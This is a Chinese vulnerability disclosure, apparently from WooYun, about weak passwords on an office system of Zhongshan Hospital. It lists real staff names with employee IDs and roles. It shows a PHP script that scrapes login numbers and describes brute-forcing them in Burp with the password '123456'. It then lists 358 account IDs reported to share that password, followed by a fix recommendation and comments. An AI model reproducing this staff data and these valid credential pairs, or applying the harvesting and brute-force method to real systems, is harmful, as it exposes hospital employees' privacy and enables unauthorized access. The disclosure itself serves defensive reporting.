朱同玉 10723 院长室 (三重一大) 三重一大审核岗 是

汪昕 10531 院长室 (三重一大) 三重一大审核岗 是

高鑫 10362 院长室 (三重一大) 三重一大审核岗 是

张志勇 10772 院长室 (三重一大) 三重一大审核岗 是

樊嘉 10774 院长室 (三重一大) 三重一大审核岗 是

丁昉 12057 医务二处 (三重一大)/医务二处 (供应商) 三重一大管理岗,供应商管理岗 是

秦嗣萃 20288 工会 (三重一大)/工会 (基础功能) 三重一大管理岗,信访登记管理岗 是

李锋 10509 门急诊部 (三重一大)/门急诊部 (基础功能) 三重一大管理岗,信访登记管理岗 是

郭莺 40230 医疗保险办公室 (三重一大) 三重一大管理岗 是

王戈红 40075 财务处 (三重一大)/财务处 (基础功能)/总会计师 (基础功能) 三重一大管理岗,一般员工 是

郭大乔 10485

一般员工 是

韦龙彪 50223

一般员工 是

代世摩 12664

一般员工 是

丁博闻 55351

一般员工 是

颜红梅 12428

一般员工 是

黄晏平 30695

一般员工 是

吴静峰 30987

一般员工 是

王倩如 21807

一般员工 是

程蕾蕾 12071

一般员工 是

刘邦忠 10493

一般员工 是

杨位霞 661576

一般员工 是

张英 20646

一般员工 是

夏庆 10427

一般员工 是

刘嵘 12263

一般员工 是

陈淑靖 12672

一般员工 是

杨为戈 12308

一般员工 是

仓静 10495

一般员工 是

张弛 10699

一般员工 是

杨成 12255

一般员工 是

朱延军 12320

一般员工 是

张冬菊 8140200

一般员工 是

胡敏悦 21761

一般员工 是

吴群 50304 总务处 (供应商)/总务处 (基础功能) 供应商管理岗,一般员工 是

郦梦南 40291

供应商管理岗 是

王灏 30165 物流中心 (供应商)/物流中心 (基础功能) 供应商管理岗,一般员工 是

孙剑勇 10542

一般员工 是

袁俊 40212 监察审计室 (三重一大)/监察审计室 (基础功能)/科研处 (基础功能) 供应商超级管理员,三重一大审核岗,信访登记管理岗,一般员工 是

邱网妹 40179 保卫处 (供应商)/保卫处 (保卫处) 供应商管理岗,保卫处监控岗 是

李雪宁 30540 药物临床试验机构 (供应商)/伦理委员会 (基础功能) 供应商管理岗,一般员工 是

王明亮 12811

一般员工 是

吕迁洲 31510 药剂科 (供应商)/药剂科 (基础功能) 供应商管理岗,一般员工 是

顾建英 10672 院长办公室 (三重一大) 三重一大审核岗 是

李耘 40172 党委办公室 (三重一大)/党委办公室 (基础功能)/院长办公室 (三重一大) 三重一大审核岗,信访登记管理岗,三重一大管理岗 是

统一用户Admin(非统一用户) 1

供应商超级管理员,三重一大审核岗 是

Admin(非统一用户) 999991

供应商超级管理员 是

这里我写了一个脚本来匹配出员工登录号码

code 区域
<?php

/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
$content = file_get_contents('test1.txt');
$preg = "//d*/im";
preg_match_all($preg, $content, $arr);
//echo "<pre>";
//print_r($arr);
foreach($arr as $value){
if(is_array($value)){
foreach($value as $v){
if($v!==''){
$v = $v."/n";
file_put_contents("test.txt", $v, FILE_APPEND);
}
}
}
}

脚本写的复杂了,正则改为$preg = "//d+/im";这样会简单不好,只要能用就行

放到burp里面爆破 密码设置为 123456

爆破出358个密码为123456的用户

code 区域
12506 1
20287 1
55543 1
12253 1
31600 1
30547 1
30577 1
10752 1
20542 1
55357 1
60910139 1
31603 1
21987 1
55572 1
40198 1
50338 1
55360 1
12727 1
10798 1
12319 1
10533 1
12302 1
10444 1
12207 1
40261 1
12397 1
12533 1
20864 1
22116 1
21549 1
12818 1
12148 1
12914 1
12409 1
12842 1
20667 1
10704 1
12843 1
12690 1
21161 1
12596 1
12292 1
21922 1
12434 1
21943 1
55513 1
12562 1
12726 1
10559 1
21743 1
12753 1
21207 1
55546 1
21336 1
55587 1
40228 1
40279 1
12343 1
12420 1
21900 1
55553 1
21503 1
21889 1
21842 1
21872 1
21837 1
55541 1
21953 1
10514 1
12582 1
21401 1
55412 1
55602 1
10553 1
75182 1
21210 1
12196 1
12198 1
12415 1
10332 1
12551 1
55568 1
10008 1
12296 1
12496 1
10474 1
12322 1
12446 1
10502 1
10949 1
12276 1
10576 1
12035 1
20469 1
21957 1
30179 1
20750 1
20617 1
20648 1
12325 1
55509 1
10611 1
30543 1
12862 1
55551 1
20730 1
22070 1
21399 1
20772 1
20416 1
21878 1
12758 1
12315 1
8130397 1
10728 1
20584 1
55371 1
50298 1
55537 1
22001 1
60810044 1
12225 1
12238 1
55597 1
61016003 1
60910177 1
22151 1
60910181 1
55538 1
55227 1
30244 1
12822 1
55353 1
22052 1
55521 1
30994 1
12311 1
12677 1
10513 1
12871 1
50001645 1
21570 1
60910161 1
61010197 1
60910123 1
55285 1
40178 1
12197 1
22095 1
21959 1
20657 1
8140063 1
8140062 1
8140061 1
20641 1
20358 1
55585 1
31543 1
21049 1
50343 1
12869 1
12500 1
22065 1
20574 1
55506 1
21674 1
22083 1
12425 1
10554 1
10501 1
21359 1
10417 1
10290 1
10431 1
21654 1
40311 1
12576 1
59995 1
10625 1
55593 1
21536 1
55362 1
12081 1
55287 1
12882 1
12316 1
21969 1
55435 1
21822 1
55296 1
20729 1
12380 1
20718 1
20694 1
12134 1
22069 1
10665 1
30568 1
22041 1
55255 1
12802 1
10522 1
20396 1
12009 1
12191 1
21858 1
55548 1
12304 1
22119 1
30197 1
20831 1
21934 1
21087 1
55591 1
22111 1
21059 1
12362 1
10662 1
12375 1
12700 1
20295 1
20673 1
10607 1
22074 1
55233 1
10644 1
22135 1
55482 1
12251 1
10477 1
20600 1
12335 1
22153 1
12579 1
12512 1
12462 1
10966 1
55478 1
12880 1
21769 1
55341 1
55578 1
12483 1
12323 1
40290 1
10635 1
12907 1
660035 1
10649 1
59989 1
12418 1
55431 1
12058 1
12804 1
22121 1
10710 1
55596 1
20266 1
10557 1
10732 1
55481 1
55598 1
12052 1
12274 1
12646 1
55460 1
55477 1
12004 1
20960 1
30946 1
21472 1
22109 1
22084 1
30978 1
20825 1
20331 1
12114 1
55475 1
55556 1
21112 1
59999 1
55595 1
20595 1
21001 1
30774 1
31007 1
10292 1
21802 1
12705 1
55499 1
22114 1
10784 1
55474 1
50135 1
55348 1
12053 1
12033 1
55519 1
10415 1
12005 1
55284 1
12272 1
55488 1
10388 1
20627 1
21896 1
10445 1
21798 1
55520 1
12611 1
20490 1
55301 1
12345 1
55168 1
55545 1
59991 1
20721 1
31041 1
12221 1
30970 1
40220 1
12602 1
55405 1
10684 1
12471 1
10355 1
55303 1
20830 1
12525 1
20995 1
21741 1
21064 1
40088 1
12016 1
40107 1
10723 1
10531 1
10362 1
40075 1
50223 1
12664 1
30695 1
30987 1
21807 1
661576 1
10427 1
12263 1
12672 1
12308 1
10495 1
12320 1
8140200 1
21761 1
50304 1
40291 1
30165 1
40179 1
1 1

里面有大部分账号可以登录其他管理系统,危害还是很大的。

# 信息收集

https://**.**.**.**/DocManagement/Login.aspx 复旦大学中山医院文档资料管理系统

中山医院某办公系统弱口令(已破解出358个员工账号)

漏洞证明:

破解出的账号

中山医院某办公系统弱口令(已破解出358个员工账号)

修复方案:

改密码,所有系统不要使用类似123456这样的弱口令

版权声明:转载请注明来源 depycode@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-11-21 16:15

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-11-18 13:43 | 茜茜公主 ( 普通白帽子 | Rank:2409 漏洞数:178 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    1

    什么地区的中山医院哈,好想看

  2. 2014-11-18 14:49 | Leon ( 路人 | Rank:25 漏洞数:6 | 永无宁日啊)

    1

    目测上海交大附属中山医院

  3. 2014-11-18 15:22 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    1

    好叼。。

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin